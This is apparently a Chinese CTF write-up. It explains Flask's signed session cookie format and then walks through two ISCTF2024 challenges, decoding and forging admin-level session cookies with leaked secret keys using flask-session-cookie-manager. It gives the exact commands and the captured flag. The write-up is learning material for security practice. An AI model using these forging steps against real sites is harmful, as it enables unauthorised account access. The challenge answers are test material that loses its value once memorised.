session伪造
flask的session伪造
1.sessiond作用
由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。 |
2.flask session的储存方式
第一种方式:直接存在客户端的cookies中 |
3.flask的session格式
flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0 |
时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;
签名:是利用Hmac
算法,将session数据和时间戳加上secret_key
加密而成的,用来保证数据没有被修改。
4、flask session伪造
上面我们说到flask session是利用hmac算法将session数据,时间戳加上secert_key成的,那么我们要进行session伪造就要先得到secret_key,当我们得到secret_key我们就可以很轻松的进行session伪造。
session伪造工具:https://github.com/noraj/flask-session-cookie-manager
ISCTF2024【小蓝鲨的故事】
就是一个简单的session伪造
页面就是一个简单的重定向
然后用dirsearch 扫描发现两个/robots.txt /flag
直接进入/flag 发现是进不去的 /robots.txt 可以发现 有东西 结合提示 发现这就是key
那么 /flag 可以看到cookie 存储的是session
key:SAVPiEkH
cookie:eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZzrK2w.LGOmPBs5fB1pWbP-U5MABqrwxAw
我们利用flask-session-cookie-manager
先将 这段session 解码 发现
python3 flask_session_cookie_manager3.py decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZzrK2w.LGOmPBs5fB1pWbP-U5MABqrwxAw' -s 'SAVPiEkH' |
得到{‘username’: b’www-data’}
但是不知道要怎么伪造成什么 admin root 都试过了当时做题卡在这
最后看wp 发现有一个/Hacker
显示他叫ISctf_Hacker
。。dirsearch 没有这个字典 (。・∀・)ノ゙嗨
我们伪造成ISctf_Hacker 即可
python3 flask_session_cookie_manager3.py encode -s'SAVPiEkH' -t "{'username': b'ISctf_Hacker'}" |
eyJ1c2VybmFtZSI6eyIgYiI6IlNWTmpkR1pmU0dGamEyVnkifX0.ZzrMVA.NdDmowaV2YVPWJfUjnsAR6DDrfc
将这个传入 /flag 的cookie 得到flag
ISCTF{8534881b-b09d-4811-9da2-40695b41c158} |
ISCTF2024【新闻系统】
给了一个登录界面 尝试 admin 弱口令爆破 没成功
然后 就看了下cookie 发现有session 那就直接找key
题目给了一个附件
app.config["SECRET_KEY"] = "W3l1com_isCTF" |
直接给了
我们解码看下是个啥
python3 flask_session_cookie_manager3.py decode -c '.eJyrVsrJT8_Mi08tKsovUrIqKSpN1VEqSCwuLs8vSlGyUipJLS4xNDRU0lEqLkksKS0GCpUWpxYB-SAqLzE3FapIqRYA7_MZ7A.Zzr02A.cbGkQjMXcWrkDVwMdM77W1k-KBI' -s 'W3l1com_isCTF' |
只是个登录报错 还得审计下附件给的源码
|
审计代码可以发现我们只要 伪造admin 就会重定向到 /admin 这个路由
python flask_session_cookie_manager3.py encode -t "{'password': 'admin222', 'status': 'admin', 'username': 'admin'}" -s "W3l1com_isCTF" |
然后访问这个路由/admin 发现进入后台 然后还得继续审计代码 后面的内容就是 反序列化的内容
放在其他地方讲
总之session 伪造 首先 看cookie 是不是传入的session 其次 需要 给的密钥 然后 根据需求 需要伪造成什么 应该差不多就是这样了